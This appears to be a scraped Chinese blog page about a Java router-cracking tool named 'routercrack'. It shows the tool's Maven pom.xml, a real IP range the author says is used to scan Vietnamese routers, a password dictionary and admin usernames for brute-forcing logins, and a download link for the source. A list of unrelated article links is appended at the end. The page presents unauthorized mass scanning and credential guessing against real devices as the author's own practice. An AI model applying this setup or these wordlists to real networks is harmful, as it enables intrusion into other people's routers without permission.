<modelVersion>4.0.0</modelVersion> <groupId>cn.com.cisec</groupId>
<artifactId>routercrack</artifactId>
<version>0.0.1-SNAPSHOT</version>
<packaging>jar</packaging> <name>Routercrack</name>
<url>http://maven.apache.org</url> <properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties> <dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
<dependency>
<groupId>org.apache.httpcomponents</groupId>
<artifactId>httpclient</artifactId>
<version>4.3.5</version>
</dependency> <dependency>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-resources-plugin</artifactId>
<version>2.6</version>
</dependency>
</dependencies>
</project>

3.里面的ips.txt是要扫描的ip地址(下面的地址是越南的ip,我用来扫描越南的路由器)

113.160.0.0/11

4.passwords.txt是密码字典,暴力破解的密码库

admin
111111
123qwe123
abc123
123456
xiaoming
12345678
iloveyou
qq123456
taobao
root
wang1234
password
12345678
qwerty
111111
monkey
123123
654321
superman
qazwsx
michael
football
dragon

5.users.txt用户名的字典

admin
administrator

6.然后是最重要的源码信息

http://pan.baidu.com/s/1eQPOk9O

路由器扫描的Java源码的更多相关文章

  1. 如何阅读Java源码?

    阅读本文大概需要 3.6 分钟. 阅读Java源码的前提条件: 1.技术基础 在阅读源码之前,我们要有一定程度的技术基础的支持. 假如你从来都没有学过Java,也没有其它编程语言的基础,上来就啃< ...

  2. Tika结合Tesseract-OCR 实现光学汉字识别(简体、宋体的识别率百分之百)—附Java源码、测试数据和训练集下载地址

     OCR(Optical character recognition) —— 光学字符识别,是图像处理的一个重要分支,中文的识别具有一定挑战性,特别是手写体和草书的识别,是重要和热门的科学研究方向.可 ...

  3. java源码——文件读写和单词统计

    本文要解决的问题:"键盘输入一段英语语句,将这段话写入content.txt中,然后输出这段话,并且统计语句中英文单词的数目以及各个单词出现的次数." 分析问题知,核心是文件读写和 ...

  4. 如何阅读Java源码 阅读java的真实体会

    刚才在论坛不经意间,看到有关源码阅读的帖子.回想自己前几年,阅读源码那种兴奋和成就感(1),不禁又有一种激动. 源码阅读,我觉得最核心有三点:技术基础+强烈的求知欲+耐心.   说到技术基础,我打个比 ...

  5. Android反编译(一)之反编译JAVA源码

    Android反编译(一) 之反编译JAVA源码 [目录] 1.工具 2.反编译步骤 3.实例 4.装X技巧 1.工具 1).dex反编译JAR工具  dex2jar   http://code.go ...

  6. 如何阅读Java源码

    刚才在论坛不经意间,看到有关源码阅读的帖子.回想自己前几年,阅读源码那种兴奋和成就感(1),不禁又有一种激动.源码阅读,我觉得最核心有三点:技术基础+强烈的求知欲+耐心. 说到技术基础,我打个比方吧, ...

  7. Java 源码学习线路————_先JDK工具包集合_再core包,也就是String、StringBuffer等_Java IO类库

    http://www.iteye.com/topic/1113732 原则网址 Java源码初接触 如果你进行过一年左右的开发,喜欢用eclipse的debug功能.好了,你现在就有阅读源码的技术基础 ...

  8. Programming a Spider in Java 源码帖

    Programming a Spider in Java 源码帖 Listing 1: Finding the bad links (CheckLinks.java) import java.awt. ...

  9. 解密随机数生成器(二)——从java源码看线性同余算法

    Random Java中的Random类生成的是伪随机数,使用的是48-bit的种子,然后调用一个linear congruential formula线性同余方程(Donald Knuth的编程艺术 ...

随机推荐

  1. 一个关于ExtJS4具体控件的详细教程

    发现一遍介绍ExtJS控件介绍的比较好的系列文章,在此做总结 ExtJs4 笔记(1) ExtJs大比拼JQuery:Dom文档操作 ExtJs4 笔记(2) ExtJs对js基本语法扩展支持 Ext ...

  2. 【Ubuntu】NAT配置

    1.简介 2.配置 1.简介 NAT(Network Address Translation,网络地址转换)是将IP 数据包头中的IP 地址转换为另一个IP 地址的过程.在实际应用中,NAT 主要用于 ...

  3. 【CentOS】设置静态IP

      问题描述:         CentOS配置静态IP   问题解决:         (1)修改IP--修改配置文件/etc/sysconfig/network-scripts/ifcfg-eth ...

  4. [工作积累] NDK通过Java获取package name 和version

    ////////////////////////////////////////////////////////////////////////// //Java code snippet //get ...

  5. 查看Linux下*.a库文件中文件、函数、变量等情况

    在Linux 下经常需要链接一些 *.a的库文件,那怎么查看这些*.a 中包 含哪些文件.函数.变量: 1. 查看文件:ar -t *.a 2. 查看函数.变里:nm *.a

  6. CSS3:线上编辑工具及实用资料整理

    an I Use 个人最常用的,资料比较全,桌面和移动浏览器支持HTML5,CSS3,SVG和兼容性表. 官网地址:http://caniuse.com/ CSS3 Click Chart CSS3 ...

  7. android 关于Location of the Android SDK has not been setup in the preferences的解决方法

    今天在部署android开发环境的时候,每次打开eclipse的时候点击AVD Manager的按钮就会弹出Location of the Android SDK has not been setup ...

  8. 历代诗词咏宁夏注释3----蔡升元:<题大清渠>

    题大清渠 蔡升元 为怜□□□□□,□□□□□□□. □□□□沙碛里,凿开峡口贺兰旁. 支分九堡通沟浍,鼎峙三渠并汉唐. 作吏尽如君任事,不难到处乐丰穰. 两渠中划大清渠,畚筑无劳民力纾.[1] 心画万 ...

  9. sql 语句的各种连接

    数据表: 1.两种连接表现方式一样 其中 where 条件语句可以省略,当时join 的on 语句不可省略 2.左连接,右连接 左连接:返回左表的所有数据,并根据条件返回左右表的连接结果,如果未匹配到 ...

  10. UVA 10892 LCM Cardinality 数学

    A pair of numbers has a unique LCM but a single number can be the LCM of more than one possiblepairs ...